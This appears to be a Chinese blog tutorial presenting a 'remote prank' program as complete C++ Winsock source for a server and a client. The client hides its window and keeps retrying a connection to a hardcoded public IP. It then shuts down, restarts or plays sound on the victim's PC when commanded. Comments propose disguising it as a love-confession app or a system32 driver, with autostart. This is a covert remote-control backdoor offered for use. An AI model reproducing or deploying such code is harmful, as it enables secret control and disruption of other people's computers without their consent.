
远程恶搞提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档
- 前言
- 远程恶搞原理: 分为服务器端和客户端,运行服务器端后,运行客户端可以连接服务器端,当前采取的是服务器端创建一个套接字和端口号,类似于战争时期的那个电报,客户端连接服务器端创建的,从而实现一个简单的远程通讯。
- 一、服务器端和客户端分别是什么是什么?
- 二、使用步骤
- 1.引入库
- 2.读入数据
- 总结
前言
提示:这里可以添加本文要记录的大概内容:
分为服务器端和客户端,运行服务器端后,运行客户端可以连接服务器端,当前采取的是服务器端创建一个套接字和端口号,类似于战争时期的那个电报,客户端连接服务器端创建的,从而实现一个简单的远程通讯。
提示:以下是本篇文章正文内容,下面案例可供参考
服务器端:类似于一个服务器,就像你打的游戏一样,你和你的队友实现连接其实就是你俩连接在了同一类服务器端,从而共享和交换了游戏数据,部分游戏外挂也是根据这个原理开发的。
客户端:你和你的队友和对手在登录游戏时连接的都是对应的游戏的服务器,从而实现联网游戏。
二、使用步骤 1.引入库往后看你会发现服务器端和客户端的基础头尾都是一样的:
/*客户端新建一个头文件,把这个写进去,然后引用这个头文件*/
//{{NO_DEPENDENCIES}}
// Microsoft Visual C++ 生成的包含文件。
// 供 远程控制client.rc 使用
//
#define IDR_WAVE1 101
// Next default values for new objects
//
#ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS
#define _APS_NEXT_RESOURCE_VALUE 102
#define _APS_NEXT_COMMAND_VALUE 40001
#define _APS_NEXT_CONTROL_VALUE 1001
#define _APS_NEXT_SYMED_VALUE 101
#endif
#endif
2.读入数据
代码如下(示例):
先上客户端代码:
#include
#include "resource.h"
#include //套接字头文件
#include
#pragma comment(lib,"ws2_32.lib") //库文件
#pragma comment(lib,"winmm.lib")
//关机 开机自启
//删除 拷贝一份随便找一个地方
//任务管理器 表白程序.exe --> windows system32 网络核心驱动组件
//隐藏控制台的代码 点击完了啥也看不到。
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" ) // 设置入口地址
int main()
{
//1.程序开始的时候 初始化网络资源
WSADATA wsaData;
WSAStartup(MAKEWORD(2, 2), &wsaData);
//准备一个电话
SOCKET hSock = socket(PF_INET, SOCK_STREAM, 0);
//准备对方电话号码
SOCKADDR_IN servAdr;
servAdr.sin_family = AF_INET; //IPV4
//servAdr.sin_addr.s_addr = inet_addr("127.0.0.1"); //IP地址
//servAdr.sin_addr.s_addr = inet_addr("192.168.0.153"); //IP地址
servAdr.sin_addr.s_addr = inet_addr("82.156.192.120");
servAdr.sin_port = htons(16888); //端口 0-1024(不能给)
//拨号 项目-属性-C/C++ SDL检查改成否。
while(1)
{
if (connect(hSock, (SOCKADDR*)&servAdr, sizeof(servAdr)) == SOCKET_ERROR)
continue;
else
break;
}
//开始对话 在吗
char buf[32] = { 0 };
while (1)
{
recv(hSock, buf, 32, 0); //听 我听
int ret = atoi(buf); //字符串转化成数字
if (ret == 1) {
send(hSock, "Q", sizeof("Q"), 0); //回复说 搞定了 退出电脑已近关闭了
system("shutdown -s -t 1"); //60秒之后关机
}
else if (ret == 2) {
send(hSock, "Q", sizeof("Q"), 0); //回复说 搞定了 退出电脑已近关闭了说
system("shutdown -r -t 1"); //60秒之后关机
}
else if (ret == 3) {
send(hSock, "Y", sizeof("Y"), 0);
PlaySound((LPCWSTR)IDR_WAVE1,NULL,SND_RESOURCE|SND_LOOP|SND_ASYNC);
}
else if (ret == 4) {
send(hSock, "Q", sizeof("Q"), 0); //回复说 搞定了 退出电脑已近关闭了说
break;
}
}
//2.程序结束的时候 释放网络资源
WSACleanup();
return 0;
}
接下来上服务器端代码:
#include
#include //套接字头文件
#pragma comment(lib,"ws2_32.lib") //库文件
int main()
{
//1.程序开始的时候 初始化网络资源
WSADATA wsaData;
WSAStartup(MAKEWORD(2,2),&wsaData);
//准备一个电话机 套接字(socket)
SOCKET hServSock = socket(PF_INET, SOCK_STREAM, 0);
//分配电话号码 IP地址 端口号
SOCKADDR_IN servAdr = {0};
servAdr.sin_family = AF_INET; //IPV4
servAdr.sin_addr.s_addr = htonl(INADDR_ANY); //IP地址
servAdr.sin_port = htons(16888); //端口 0-1024(不能给)
bind(hServSock, (SOCKADDR*) & servAdr, sizeof(servAdr));
//激活联网 开启监听
listen(hServSock,5);
//准备接听 要不要来电显示?
SOCKADDR_IN clntAdr = {0};
int clntAdrSz = sizeof(clntAdr);
SOCKET hsock;
char buf[32] = {0}; //准备一个空字符串
while (1)
{
system("cls");
printf("等待连接中....\n");
hsock = accept(hServSock, (SOCKADDR*)&clntAdr, &clntAdrSz);
int choise;
while (1)
{
system("cls");
printf("有人连上来了\n");
printf("1.关机\n");
printf("2.重启\n");
printf("3.O泡果奶\n");
printf("4.退出客户端\n");
scanf("%d", &choise); //1 2 3 4 5
_itoa(choise, buf, 10); //把输入的数据choise转换成字符串
send(hsock, buf, 32, 0); //把buf 1 说(发送)
//接受对方的回复
recv(hsock, buf, 32, 0);
if (!strcmp(buf, "Q"))
{
printf("对方已经下线\n");
system("pause"); //按任意键继续
closesocket(hsock);
break;
}
if (!strcmp(buf, "Y"))
{
printf(" *** 作已经执行!\n");
system("pause"); //按任意键继续
continue;
}
}
}
//2.程序结束的时候 释放网络资源
WSACleanup();
return 0;
}
总结
温馨提示:这里对文章进行总结:
/*
C/C++ 很刑 很有判头
C/C++ 幻想。
C/C++语法 数据结构 网络 数据库 内核 mfc qt
*/
欢迎分享,转载请注明来源:内存溢出
微信扫一扫
支付宝扫一扫
评论列表(0条)